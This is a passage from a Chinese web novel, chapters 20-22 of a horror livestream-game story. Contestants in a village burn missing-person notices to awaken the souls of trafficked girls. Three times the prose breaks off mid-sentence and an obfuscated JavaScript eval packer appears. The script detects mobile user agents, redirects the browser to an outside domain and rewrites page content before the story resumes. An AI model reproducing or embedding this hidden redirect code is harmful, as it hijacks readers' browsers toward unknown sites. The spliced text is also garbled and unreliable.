柯清意的这些话，乍一听顺理成章，但仔细想想，就会发现“拯救灵魂”这个说法很勉强。 老方替众人开了口：“小柯，你刚才也说过，‘寻人’和‘拯救’都存在过度解读的意味。” “这两个词是存在过度解读的意味，但过度解读出的第二重意思对不对......”柯清意说，“我们做个实验就知道了。” 老方：“实验？” 壮汉：“什么实验？” 柯清意点开面板看了一眼，最下方的倒计时已经从【00:26:04】减少到了【00:21:32】，还有不到半分钟她和老方的考验就结束了。 她又点开购物车，边划拉边说道：“拯救灵魂的实验......” “咔嚓——” 房间里蓦然响起的清脆声打断了柯清意的解释，众人循声看去。 是风衣男弄出的声响。 他斜靠在窗户旁边，右手把玩着一个银色的方块打火机，火苗亮黄显目，在他修长的手指间来回跳动，左手捏着一张寻人启事，而其他的寻人启事和报纸，被他放在了旁边的单人床上。 “你在干什么？”壮汉发问。 风衣男停下手中把玩打火机的动作，却没回他，定定看了柯清意两秒后，他突然把打火机移到寻人启事下方，火苗立刻舔舐着纸边，如同浸湿衣服的水一样向上蔓延，迅速吞噬了寻人启事的一角。 众人大惊，却已经迟了，半个巴掌大小的寻人启事眨眼间就被火舌吞噬殆尽，只留下焦黑的碎片飘落到地板上。 “操，你在干什么？！”壮汉再次发问，充满了震惊和怒气，“寻人启事可是这个副本的关键线索，你就......” 壮汉说到这，突然顿住了，目光落点从三米外的风衣男身上转到了身前，像是在看面板，他左手腕上戴着的心动手环也亮了起来。 同时亮起来的，还有女白领、老方和柯清意的心动手环。 他们四人都完成了第二夜心动任务——共同使用掌上小相机拍摄一段五分钟的视频。 获得奖励金币20，心动值30。 壮汉大致扫了一眼面板，才重新抬眼看向风衣男，正想接着质问他，却先听见一道又冷又急的声音响起。 “秦晓樾？！你怎么了？秦晓樾？” 众人闻声扭头往后看，只见柯清意站在靠近走廊一侧的墙边，左侧怀里抱着一个黑衣女生，双眼紧闭，脑袋软靠在她的肩膀上。 “晓樾？！” 肖平巍见状，连忙走到秦晓樾前面，掐着她的肩膀摇晃了两下，见她没有反应，又伸手探了探她的鼻息，察觉到还有呼吸，这才松了口气。 他看向一旁的柯清意，眼神带着憎恨，语气带着质问：“晓樾怎么了？” “不知道。” 柯清意弯腰抱起秦晓樾，朝窗户旁边的单人床走去，把她放在了床上。 汉服女也凑了过来，摸了摸秦晓樾的颈动脉，接着又翻了翻她的眼皮，最后给出了一个不太确定的结论：“她应该只是昏迷了。” “昏迷？”肖平巍跟了过来，站在床边问道，“她为什么会昏迷？难道是跟门外那两个鬼怪有关？” “不。”汉服女摇了摇头，“她可能是被吓的，也可能是睡眠不足、精神不济，才昏过去的。反正应该跟副本的鬼怪没什么关系。” 听到秦晓樾昏过去跟鬼怪无关，肖平巍才放心下来，同时，他手腕上戴着的心动手环亮了起来。 他是最后一个被解绑的，此刻心动手环亮起，乌云撞房门的嘭嘭声也停了下来。 第二夜的考验结束了。 走廊里响起一阵沉甸甸的脚步声，逐渐变远，想来是考验结束，作为考验人的爱情侦探离开了。 众人正这么想着，下一秒，他们的房门传来了轻缓的敲门声。 “咚咚咚——咚咚咚——” 房间里的所有人脊背一紧，这敲门声轻缓又有节奏，显得很有礼貌，但放在当下的情形里，让人不禁毛骨悚然。 敲门的是谁？ 乌云？ 不，他们刚才明明听到了乌云离开的脚步声，沉闷且钝重，仔细一听，还能听到他正走到一楼的声音。 那是张丽康？ 她附身的余霜身形清瘦，穿的是板鞋，走起路来几乎没什么声音，再加上乌云脚步声的遮掩，众人确实无法判断她有没有离开。 可若真是张丽康，她为什么会敲门？ 为什么要敲门？ “咚咚咚——咚咚咚——” 没过几秒，敲门声再一次响了起来，依旧不疾不徐，每一声都在反复拉锯着众人的神经。 没人敢开口说话，生怕被门外敲门的“人”给惦记上。 一片沉默中，柯清意拿起堆在床脚最上面的那张报纸，扫了一眼上面的时间和地点，抬眼看向风衣男，压低声音问道：“你刚才烧的是张丽康的寻人启事？” “是。”风衣男看向柯清意的眼神，带着几分探究，几分古怪。 昨晚集合整合信息时，因为找到张丽康笔记本的原因，他特意把张丽康的寻人启事和对应的报纸放在了最上面，大家都知道。 柯清意如果是想确定他烧的是不是张丽康的寻人启事的话，直接看那沓寻人启事就可以了，为什么不看寻人启事，反而要看张丽康寻人启事对应的那张报纸？ “咚咚咚——” 敲门声定时响起，把大家的思路串了起来—— “所以现在在敲门的，真的是张丽康？” “这敲门声，跟你烧寻人启事有关？” “可她为什么要敲门？” 听到众人的疑问，风衣男不再纠结柯清意的古怪，直起身子，向众人解释道：“我烧了张丽康的寻人启事，所以她的灵魂......被唤醒了。” 其他人闻言愣住。 烧寻人启事，灵魂就会被唤醒...... ......好抽象。 老方想起最开始被打断的那个问题：“小柯，你刚才说的实验，也是烧寻人启事？” “嗯。”柯清意应了一声，把手里的报纸折成巴掌大小的方块，不经意往夹层中塞了些草绿色的粉末进去，接着手里凭空出现个打火机，跟风衣男自带的某品牌打火机不同，她拿着的是个最普通、最廉价的塑料打火机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797632|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在众人不解的目光中，柯清意把手里的那张报纸点着了，刺目的火焰中升腾起几缕细微的白烟，烧纸味在房间里蔓延开来。 “张丽康已经被唤醒了。”汉服女有些不理解，问道：“你还烧报纸干嘛？难道......报纸也有什么作用？” 报纸烧过一半，柯清意松开手，残余的报纸压着火焰落到地板上，她说：“起一个......完完整整的作用。” 汉服女：“......” 【哈哈哈哈哈，好一个完完整整的作用，小柯主播分明是假公济私，夹带私货。】 【只能说小柯主播走的每一步都有道理.....】 【求问：小柯主播是怎么把一根香，偷偷摸摸碾成粉末，手指上还不留痕迹的？】 【表面稳如老狗，实际在外卖兜里戴着一次性手套碾香。】 【我一直以为这个副本的恶毒女配人设是必死人设，但现在看来，还是我肤浅了。】 “咚咚咚——” 敲门声第六次响起，显得有些执拗。 “她还在敲门。”女白领低声问道，“我们要开门吗？” 风衣男说：“开。” “谁去开？”女白领看向众人。 在自己没亲眼看到之前，柯清意和风衣男刚才说的一切，都只能算作猜测，去开门的人，多少都有点直面危险。 “我去。” 风衣男朝房门口走去，独自挪开抵住房门的木床，又对余小豆说：“麻烦你把墓碑收了。” 余小豆看了他两眼，没说什么，走到墓碑旁边蹲下，伸出两根手指搭在上面，把墓碑收进了背包。随后她又站回到了刚才的位置，跟房门口隔了两三米的距离。 不知道是在防备风衣男，还是在防备门外的“人”。 “咚——” 第七次敲门声刚响了一下，风衣男就转动门把手，拉开了房门。 敲门的，确实是张丽康。 她右手还保持着抬手敲门的姿势，来不及收回去，左手拿着一张泛黄的纸张，看形状大小，八九不离十就是风衣男刚才烧了的寻人启事。 她依旧是两幅面孔重叠在一起的模样，两颗肿胀歪曲的瞳孔慢慢扫视过房间里的所有人，对上她视线的人，都打了个寒颤。 她嘴角扯出一个诡异的笑容，保持敲门姿势的右手慢慢转动，十分僵硬，最终竖起了一根食指。 众人一头雾水，可张丽康却什么都没说，转身走了。 “白天我们挨家挨户敲门找人的时候，试过把对得上的寻人启事交给那些被拐卖女孩，但她们都不肯接，就算强塞进她们手里，也没什么反应。” 壮汉打断他：“这些事，晚上集合吃饭的时候，你怎么不说？” 风衣男瞥了壮汉一眼，脸上的表情似笑非笑：“因为没有收获，我怕说了，反而会困住大家的思路。” “所以......”壮汉扭头看了房门一眼，“直接交给她们寻人启事，不能唤醒她们的灵魂，只有烧了，才能唤醒？” “不——”风衣男反驳道，“对于已经死了的女孩，是烧了；但对于活着的女孩，还是直接交给她们。” 21. 山村爱情（二十一） 房间里的一部分人以为她是在指方向，下意识顺着指尖抬头往上看，却只看到了斑驳泛黄的天花板。 另一部分人以为那根手指是代表了数字“1”，各自沉思着她在1什么。 所有人都一脸茫然，等待着她接下来的动作。 然而，出乎所有人意料的是，张丽康接下来的动作是慢慢转身，打算朝楼梯口的方向走去。 “张丽康。” 柯清意忽然出声，叫住了她。 而其他人也都被这冷不丁响起的声音吓了一跳，有几个人的精神值又往下掉了一个点。 听见有人叫她的名字，张丽康停下脚步，微微偏头看着柯清意，像在疑惑。 柯清意朝门边走去，边问：“你不打算跟我们解释一下竖食指的意思吗？万一我们会错意了怎么办？” 众人：“......” 这是可以喊住NPC，直接问的吗？ 张丽康头往下偏了点，像是在思考。 偏头、大眼......众人竟诡异地看出来一股可爱感来。 下一秒，张丽康张开了嘴巴，想要说话，却没发出声音来，只是上下张合着。 众人都看清了，她的嘴巴里没有舌头，只有艳红的鲜血，像一个黑红的大洞，也像是黑红交杂的炼狱。 众人的精神值又开始往下掉。 柯清意沉眼，盯着她的口型看了两秒，没辨出口型对应的话语，便从面板购物车里买了一沓白色便签，又取出余小豆交付给她的写字笔，套好笔帽递给她：“可以写出来给我们看吗？” 张丽康抬手慢慢接过了纸笔，右手五根手指并在一起，握住写字笔，在便签上一笔一划地落下痕迹，动作僵硬，像个刚学写字的孩子。 众人不由得疑惑。 张丽康刚才追杀他们时，跑的可快了，手指还能延伸变长，非常灵活，怎么现在的一举一动都十分僵硬？ 她写了将近一分钟，才停下笔，将最上面的那张便签撕下来递给柯清意。 柯清意接过，看见上面写着一个熟悉的英文单词，她瞬间明白了张丽康竖起的手指是什么意思。 “她写了什么？”女白领问。 柯清意说：“hell——地狱的英文单词。” “hell？” “地狱？” “第一重地狱？！” 其他人也联想到了笔记本上面的内容，反应过来：“她的意思是，让我们帮她逃离第一重地狱？？” 在张丽康的笔记本中，第一重地狱代表了吃人的乌山村，她想逃，却没能逃出去。 在众人的注视下，张丽康慢慢点了点头，接着却又摇了摇头，抬起右手一一指过房间里的三张床。 “她......这是什么意思？” “床上有什么？” “她是在指马大爷和秦晓樾吗？” “他们两个跟她有什么关系？” 但柯清意却知道她的意思，对她说道：“你放心，她们也会逃出去的。” ta们？ 谁们？ 众人还在疑惑时，张丽康已经收回了右手，点了点头。 众人：“？？” 风衣男率先反应过来了：“你说的‘ta们’是指……曾经被绑在床上的那些被拐卖女孩？” 柯清意：“嗯。” 众人看着柯清意，目光中带着惊讶和佩服，张丽康单指了指床铺，她就立马猜到了张丽康的意思——不止要救她，还要救和她一样被拐卖的女孩。 这思维，未免跳跃得太快了。 柯清意接着问张丽康：“对你来说，是不是还有第二重地狱？” 不然，她也不会特意在“地狱”前面，加上“第一重”这样的排序词。 然而，张丽康只是怔怔地看着她，没有什么反应。 柯清意又问：“你知道那些女孩被卖给了乌山村里哪些人家吗？” 这次张丽康有反应了，她垂下头，慢慢摇了摇，似乎有些难过和沮丧。 柯清意微微蹙了蹙眉，觉得有些不对劲。 按照张丽康笔记本上的内容来看，她在乌山村待了至少五年，最开始还有一些被拐卖女孩来劝她，她不可能不知道那些女孩被卖给了哪些人家。 柯清意没再问她问题，而是侧身把门让开，问房间里的其他人：“你们有问题要问吗？” 众人摇了摇头：“没有。” 不知道为什么，他们今晚的心理防线有些薄弱，一看见张丽康脸上有两副五官，他们的精神值就完全不受控制地往下掉。 听见没有人要问她问题了，张丽康捏着纸笔慢慢转过身体，朝楼梯口走去。 柯清意关上房门，转身一一扫过众人的脸色，或冷静，或胆怯，或害怕，或惊恐...... 但还不够。 拧了拧眉，柯清意打算再给他们的害怕和惊恐添一把火。 她看着众人认真地说：“有件事，我骗了你们。” 众人：？？ “其实，我眼睛里的镜头膜，没有失效。” 众人：！！！？？？ 其他主播直播间：啥？？镜头膜没失效？？？ 柯清意直播间：爽！！小柯主播终于说了！！！ 在众人疑惑、不解和错愕的目光中，柯清意开口解释道：“我说镜头膜失效，是为了让那三只鬼怪放下对我的防备，不要再偷偷摸摸地背着我附身。这样一来，他们无论附在谁的身上，我都能及时看出来，有所防备。” 当时为了取信于风衣男，她还胡诌了能看见李刚游队友伸进房门的手指只有骨头，没有血肉的谎话...... 众人听见柯清意的解释，不禁愣住，回想了一下柯清意当时说镜头膜失效的时间，再次感到惊讶。 在大家还没发现血门限制和鬼怪通过附身才能进来之前，她就已经开始设局骗鬼怪了。 只是...... 鬼怪今晚依旧附身在余霜和光头男人身上，她这局，算是白设了。 有人看笑话的心思刚起，柯清意突然又丢下一个惊雷，炸得他们疑问惊恐交杂。 她说：“所以我现在能看见，那只婴儿鬼就附身在我们之中的某个人身上。” 这话一出，众人间本来因为害怕而互相凑近依偎的氛围突然凝固住了，接着急转直下，纷纷变成了各自防备和猜忌。 【毒舌辣嘴：攻击对象肖平巍，精神值-10】 【恭喜主播柯清意达成毒舌辣嘴（3\13）】 【奖励金币20】 【明线任务进度：12%】 “......” 看着眼前突然刷新的面板，柯清意感到一阵无语，肖平巍的精神值防线未免也太容易破开了。 她还在处于酝酿氛围的阶段呢。 卫衣男在众人脸上扫了一圈，没看出什么异样，看向柯清意怀疑道：“我们怎么知道你说的是真话，还是假话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808785|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 柯清意没说话，抬手从右眼里取出了镜头膜，然后看着面板上仅剩的一个金币，犯了难...... 系统发给他们的掌上小相机，早在考验结束时就黑了屏幕，用不了；而手机是她带进来的物品，没有等级评判，镜头膜用在手机上不一定能发挥作用。 想了想，柯清意正打算开口问其他人有没有相机镜头之类的东西时，面板又突然刷新了—— 【观众[王一一]打赏主播柯清意：一台B级全画幅卡片机】 柯清意：“......” 感谢富婆王一一的及时雨，真的。 柯清意从饭碗中取出了这台崭新崭新的卡片机，将镜头膜覆在了卡片机镜头上，接着又摁下开机键，对着房间里扫了一圈。 看见容纳进屏幕里的高清画面，跟她戴镜头膜看见的画面一致，甚至因为自带的滤镜而显得更加阴森时，柯清意满意地朝卫衣男走去，把卡片机递给他：“你不信的话，可以自己看看。” 卫衣男半信半疑地接过卡片机，镜头对着众人的脸一一扫过。 扫完了站着的、清醒着的九张脸，卫衣男都没看到婴儿鬼，不由得生出一股被人当猴耍的愤怒来。 他正打算发作，卡片机的镜头却被柯清意往旁边下压了一点，屏幕里的画面也由站在门边的风衣男，变成了三张铺着艳俗花被子的单人床。 床没变，花被子也没变，但躺在三张单人床上的人，变了。 变多了...... 不再只有秦晓樾和马大爷两个人，还有很多人，每张单人床上都多了很多人。 她们不是虚白透明的人，或者人影，而是拥有实打实彩色身体的人。 她们的双手被绑在床头木架上，嘴巴上封着黑色胶带，她们的身体左右交错，融合在一起。 一眼看上去，就像是躺了三个由无数尸块缝补拼成的横向拉宽的“人”。 看清画面的一瞬间，卫衣男瞳孔骤缩，把卡片机给甩了出去。 还是一直捏着镜头的柯清意眼疾手快，抓住了卡片机，她阴侧侧地问他：“你看清了吗？” 同时，面版刷新x3—— 【毒舌辣嘴：攻击对象魏含虚，精神值-14】 【恭喜主播柯清意达成毒舌辣嘴（4\13）】 【奖励金币20】 【明线任务进度：16%】 其他人只看见魏含虚在镜头对准床铺后的下一秒，就被吓得把手里的卡片机扔了出去，不由得问道： “你看见什么了？” “婴儿鬼到底附身在谁身上了？” “是秦晓樾？还是马大爷？” 魏含虚竭力压下手指的颤抖，在衣服上蹭了蹭手心的汗意，恨恨地瞪了柯清意一眼。 哪有什么婴儿鬼附身，她这么说，分明是不想让他们提前做好心理准备，在把他们当动物园的猴耍！ 还拿他来开刀！ 一想到自己刚才掉了十几个精神数值，魏含虚眼神就像刀子一样，恨不得当场戳死柯清意。 对噼里啪啦问问题的其他人，魏含虚也没什么好脸色，恨不得他们也能掉十几个精神值，于是咬着牙齿说道：“你们自己看就知道婴儿鬼附身在谁身上了。” 柯清意闻言，微微挑眉，非常上道地顺着他搭好的戏台子开始唱戏。 她冲其他人微微一笑：“过来，给你们看个好东西。” 众人：“......” 22. 山村爱情（二十二） 柯清意和魏含虚越是遮遮掩掩的姿态，其他人心里越是好奇，忍不住都凑到了卡片机屏幕前。 尽管有了魏含虚的前车之鉴，他们提前在脑海里想了十几种婴儿鬼怪附身的恐怖模样，但在看见屏幕里的画面时，他们的精神值还是不受控地唰唰往下掉，再难保持冷静和镇定。 “啊啊啊啊！” “那是什么？！那是什么？！” “是鬼怪吗？！” 柯清意估摸着他们的精神值也快掉到她的预期了，适时开口：“你们没看出来吗？她们都是那些被拐卖女孩。” 她一开口，面板再次刷新—— 【毒舌辣嘴：攻击对象方劳，精神值-12】 【恭喜主播柯清意达成毒舌辣嘴（5\13）】 【奖励金币20】 【明线任务进度：20%】 柯清意没想到第一个人会是老方，默了默继续开口刺激他们：“她们应该不是鬼怪，但也不是人。” 【毒舌辣嘴：攻击对象林瑚，精神值-13】 【恭喜主播柯清意达成毒舌辣嘴（6\13）】 【奖励金币20】 【明线任务进度：24%】 “二楼和三楼的每个房间里，每张床铺上都有。” 【毒舌辣嘴：攻击对象梁雨秋，精神值-13】 【恭喜主播柯清意达成毒舌辣嘴（7\13）】 【奖励金币20】 【明线任务进度：28%】 “从我们醒来，考验开始的那一刻，她们就躺在床上了。” 【毒舌辣嘴：攻击对象陈壮，精神值-13】 【恭喜主播柯清意达成毒舌辣嘴（8\13）】 【奖励金币20】 【明线任务进度：32%】 “跟我们躺在一起。” 【毒舌辣嘴：攻击对象杨雪依，精神值-11】 【恭喜主播柯清意达成毒舌辣嘴（9\13）】 【奖励金币20】 【明线任务进度：36%】 “她们的脑袋、四肢、躯干就躺在我们身边，一块一块的，不完整。” 【毒舌辣嘴：攻击对象余小豆，精神值-11】 【恭喜主播柯清意达成毒舌辣嘴（10\13）】 【奖励金币20】 【明线任务进度：40%】 “我猜，如果我们手腕上的绳子没解开，可能我们也会变得跟她们一样，消失在人的肉眼里，被乌山村吃了。” 【毒舌辣嘴：攻击对象王堂然，精神值-11】 【恭喜主播柯清意达成毒舌辣嘴（11\13）】 【奖励金币20】 【明线任务进度：44%】 说话间，面板上刷新了七次人名。 凑在卡片机屏幕前的八人，包括肖平巍，精神值都掉了10个数值以上，被迫完成了柯清意【毒舌辣嘴】的人设。 从点燃破防香到现在，大约有七八分钟，按照它“越闻越破防”的特性，柯清意猜现在大家的恐惧应该是成双倍、或者三倍放大的。 不然，也不会这么容易就降了10个精神值。 毕竟人的恐惧点和承恐力不同。 有些人恐惧血腥暴力的画面，有些人恐惧中式阴森的画面，有些人恐惧自己的死亡......而有些人，恐惧淡如菊。 柯清意不确定大家的恐惧点，只能破防香，画面冲击、语言刺激，齐齐上阵。 好在，她成功了。 但柯清意也并没有因此轻松下来，因为【毒舌辣嘴】的人设进度还差两个。 她的视线离开屏幕，朝中间床铺看去，躺在上面的马大爷脸色惨白，已经是进气多出气少的状态了...... 直播间也在为这残缺的进度抓心挠肝： 【怎么办？怎么办？还差两个人，就算马大爷勉强算一个，那也还差一个人啊！！】 【我刚去马大爷直播间看了，他的精神值只剩5了，纯属吊着一口气，没用的。】 【要是昨晚小柯主播就用破防香多好，加上余霜和光头男人正好够。】 【哎，真应了那句话——结果都一样。11/13又有什么用，明线任务凑不够100％，就得死。】 ...... 其他人花了十多秒，消化完了柯清意说的话，眼神从屏幕上艰涩地挪开视线。 虽然明白柯清意骗了他们，根本就没有什么婴儿鬼附身，但此刻没人有心思揪着这个问题不放。 汉服女惊恐又恍然道：“怪不得刚才我们被绑住时，用不了面板上的物品，原来是我们已经变成了半个‘被拐卖女孩’。” 说完，用似乎是埋怨的眼神看了风衣男一眼。 长裙女拉了她一下，说：“麻绳都被解开了，讨论这事也没有什么意义了，还是说说看那些被拐卖女孩为什么会......以这样的方式躺在床上吧。” 她看着风衣男，问道：“堂然，你有什么想法？” 这还是柯清意第一次听到风衣男的名字。 他们十六个人因为多出两个人，互相猜忌；紧接着第一夜考验降临，各自组队离去，没有正式介绍过姓名。 最多是同房间里、或者同队的人才彼此知道名字，白日里也没怎么听他们互相叫过名字。 此刻，结合面板上刷新的人名，柯清意知道了风衣男的全名——王堂然。 王堂然没有说他自己的想法，而是反问道：“张丽康之前被囚禁在哪个房间？” 长裙女皱眉回道：“在隔壁201，中间那张床铺。” 因为张丽康的特殊性，她把有关张丽康的线索都记得很清楚。 “跟我来。”王堂然转身走到门边，拉开房间门，朝旁边201走去。 柯清意眉头微皱，拿着卡片机跟上了他。 其他人或一知半解，或一脸茫然，全都急忙跟上了他们。 201是女白领住的房间，此时房门虚掩着，王堂然一推开，众人看见了被绑在中间床铺上的人。 那是个二十岁左右的女孩。 她平躺着，双手被麻绳绑在床头木架上，手腕上有几道磨出来的血痕，麻绳被血浸透成了深红色。 她的面容苍白憔悴，厚重的刘海乱糟糟地黏在额头两侧，嘴巴上贴着黑色胶带，眼睛怔怔地看着天花板，目光充满了痛苦和绝望。 这张面容陌生，却又有些许眼熟，再加上王堂然本就是冲着张丽康来的，众人第一时间在心头浮现出了一个名字。 张丽康。 他们用肉眼直接看到了张丽康二十一年前被囚禁的画面。 然而，张丽康似乎看不到他们，依旧呆滞痛苦地躺在床上。 柯清意对着床铺的方向，举起卡片机，其他人也微微偏头看向屏幕。 屏幕里正中间的画面没变，依旧只有张丽康一个人，而右边靠门的床铺上却多了一个同样被绑住的女孩，左边靠窗的床铺上多了两个。 因为人数少，她们身体交错的地方并不复杂，看起来也没那么瘆人。 柯清意仔细回想了片刻，记起了她们的名字——虞佑萍，李花和方雁和。 四个人里，只有张丽康能用肉眼看见，众人略一思索，便都猜到了原因——烧寻人启事。 王堂然也在此刻说出他的想法，他用下巴指了指柯清意，说：“就像她说的一样，寻人启事在副本里有两个作用——寻到身体和寻到灵魂。” “把寻人启事给她们，一方面能唤醒她们的灵魂，另一方面能让我们看到、或者说是寻找到多年以前的被拐卖女孩，这就是寻到身体。” 众人觉得他说得挺有道理，在心里默默点头。 然而，柯清意却微微皱眉，提出了相反的看法：“我觉得这些被绑在床上的女孩，才是灵魂。” 王堂然听到反驳的话，怔愣了一秒，脸色瞬间冷了下来，却没说话，只是阴沉地看着她。 柯清意熟视无睹，继续说道：“我之前说过：现在的那些被拐卖女孩和以前的她们对比，思想和思考能力是退化了的，也就是失去了灵魂。” “而这个‘以前’则可以追溯到她们被卖给村里人之前，也就是被囚禁在乌老头家的这段时间。只有她们变听话了，变得行尸走肉，没有自我灵魂了，乌老头才会把她们卖出去。” “相当于她们的灵魂依旧被囚禁在这，身体却被卖给了村里人......” 魏含虚打断她：“你说错了吧，张丽康笔记本里明明写着，她被卖给乌云以后，一直在想办法逃跑。” “张丽康是个例外。”柯清意淡淡扫了他一眼，“因为乌云和乌老头一样，也是人贩子，而且他对张丽康本就图谋不轨，所以我猜张丽康在乌老头家应该没被囚禁几天，就换去乌云家囚禁了。” “而从目前的情况来看，乌老头家的设定似乎是一个能专门囚禁人灵魂的地方。我们通过镜头膜看见的，应该就是她们的灵魂。” “其他女孩都是被一直囚禁在这，直到变得听话才被卖出去，张丽康却是中途就出去了，所以她能拥有自己的灵魂。” 魏含虚像是记恨上了她一样，再次从她的话中挑到矛盾之处：“刚才的张丽康可是没有灵魂，你又怎么解释？” 柯清意的声音过了好几秒才想起来，又冷又低：“我猜，村里人知道乌云和张丽康要逃跑之后，应该只杀了乌云和孩子，没有杀张丽康，而是把张丽康囚禁起来......又卖了一次。” “嘶......” 众人听到这话，齐齐倒吸了一口冷气。 若真是这样，那这些村里人简直是丧心病狂、恶毒得没边了。 柯清意继续说：“毕竟张丽康失踪时才19岁，逃跑时应该不会超过25岁，在村里人眼里，她还有......价值。” 价值？ 什么价值？ 众人心里都有答案：在他们眼里，被拐卖来的女孩只有替他们发泄兽/欲和生孩子的价值。 “所以，张丽康的灵魂最终还是被囚禁在了乌老头家，跟其他的六十三位女孩一样。” “当然，后面这些是我根据张丽康灵魂被囚禁在这，反推出的猜测。具体对不对，还需要明天白天我们去跟村里人打听。” 魏含虚顺着她的猜测，再次抓到了一个矛盾之处：“既然张丽康是在失踪的五六年后，才被囚禁了灵魂。那为什么我们现在看见的她，是她19岁时失踪的模样？” 柯清意看向床铺上面容憔悴的张丽康，淡语气带上了几分柔软：“在我看来，二十五岁的张丽康，灵魂依旧是美丽的，是十九岁的模样。那些村里人在她□□上留下的伤疤和痕迹，不配刻在她的灵魂上。” 众人听完柯清意的话，震惊了好一会，内心几乎已经完全认同了她的猜测，只是魏含虚和王堂然的脸色有些不太好看。 【我去，听王主播说的时候，觉得挺对的。听柯主播说的时候，这简直就是唯一正解啊！】 【奇怪，我到底是哪亿步思路没跟上小柯主播明明是看一样的画面，却没得出一样的猜测。】 【哈哈哈哈哈哈笑死，这男的三战三败，典型的又菜又爱玩。】 【其实她就是赢在了镜头膜上，要是那帅哥也戴了镜头膜，说不定会比她更聪明，毕竟他才是第一个烧寻人启事的主播。】 【喜欢那男的就去他直播间啊，来别人的直播间媚男算什么。再说了，真当观众不知道王堂然的天赋是什么吗，简直是把通关线索一个字一个字地甩他脸上了，他是知道通关步骤，但他知道通关步骤背后的故事吗？】 ...... 女白领似乎有些触动，从面板中掏出匕首，一言不发地走向被绑在床上的张丽康，想替她割开囚禁住她的绳子。 然而，麻绳像是被一层透明力量凝结包裹住，匕首割过的地方没有留下一丝痕迹。 女白领皱眉，扭头用眼神询问柯清意。 柯清意默了片刻，说道：“应该跟我们刚才的情况一样，只有特定的人才能解开麻绳，拯救她们的灵魂。” 特定的人？ 他们是靠队友解开绳子的，对等一下，她们也得靠队友。 可是，在这乌山村里，她们哪来的队友？ 老方纳闷：“我们跟她们不是同一个阵营的吗？应该算队友吧。” “同一个阵营不代表就是队友。”余小豆说，“我们知道她们，但她们不知道我们，这可不符合‘’队友’的定义。” 说完，她和柯清意对视了一眼，接着说出了自己的猜测：“我觉得在乌山村里，最有可能是她们队友的......就是她们自己，也就是被唤醒灵魂后的她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819509|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。” “啊？”老方听到这个答案，愣了一下，但又觉得余小豆说的确实有道理，正想开口，却被魏含虚先抢了话。 这次的“队友”观点是余小豆、而非柯清意提出来的，他自然认同，自信地开口替大家梳理接下来的任务。 “所以，只要我们把寻人启事都烧给她们，她们的身体就能唤醒灵魂，让灵魂出现在我们肉眼里，再让她们去割绳子，拯救自己的灵魂。” 柯清意看着他，不解地问道：“谁跟你说，寻人启事都要用烧的？” “？？” 魏含虚看了王堂然一眼，理直气壮地说：“他刚才就用烧的。” 王堂然用看傻子的眼神扫了他一眼，耐着性子跟他解释道：“我刚才用烧，那是因为张丽康已经死了，还活着的，直接交给她们就行了。” 第四次被人抹了面子，魏含虚的脸色阴沉到了极点：“交给她们？白天你不是已经试过了吗？根本就没有用。” 白天王堂然一副领头人做派，把六十四张寻人启事都强制集中在自己手里。 其他两组没机会把寻人启事拿给那些已经对得上脸的女孩看，但他们组却试过了。 那些女孩根本不接寻人启事，一个劲地摇头摆手，想关房门，就算强制塞到她们手里，她们也没什么反应。 “因为时间地点不对。”接他话的是柯清意，“参照张丽康，能唤醒她们灵魂的时间地点，应该是夜晚灵魂出现后和乌老头家。” “所以，明晚我们得把她们都带到乌老头家来？”老方问。 柯清意点头：“包括那些死去女孩的尸骨。” 老方讶然：“尸骨也能替她们解开麻绳？” “不确定。”柯清意说，“能不能得带回来才能知道。” “可是我们现在确定的寻人启事只有26张，尸骨......更是不确定。”女白领眉心紧皱。 柯清意觉得太阳穴生疼，说：“天亮以后，还是按照之前说好的，先去坟地验尸，等中午吃饭时间再沿着村房打探一遍，看能确定多少张寻人启事再制定下一步计划，先去休息吧。” 众人闻言，静默了一瞬后，点了点头。 面板上三十分钟的倒计时已经消失不见了，只剩六个小时的倒计时还在继续，到现在才倒了三十二分钟。 但众人在这段时间，精神一直处于高度集中状态，此刻放松下来，只觉得身心俱疲。 可临近休息，又出现了新的问题。 肖平巍还在恐惧床上那些堆融在一起的被拐卖女孩，即使知道她们可怜无辜，但还是忍不住恐惧和害怕。 他拉住老方，声音有些抖：“我们刚才全都打破了乌老头定下的住宿规则，也没人出什么事，今晚能不能让我跟你们住一间房。” 他的话音刚落，老方的房友壮汉直接拒绝道：“我们是打破了‘不能上下楼串门’的规则，但还有一个‘不能混住’的规则呢，谁知道是两个都能打破，还是只能打破一个。” 肖平巍皱眉，正想说“不能混住”是指男女不能混住，壮汉却直接拖着老方离开了房间，朝三楼走去。 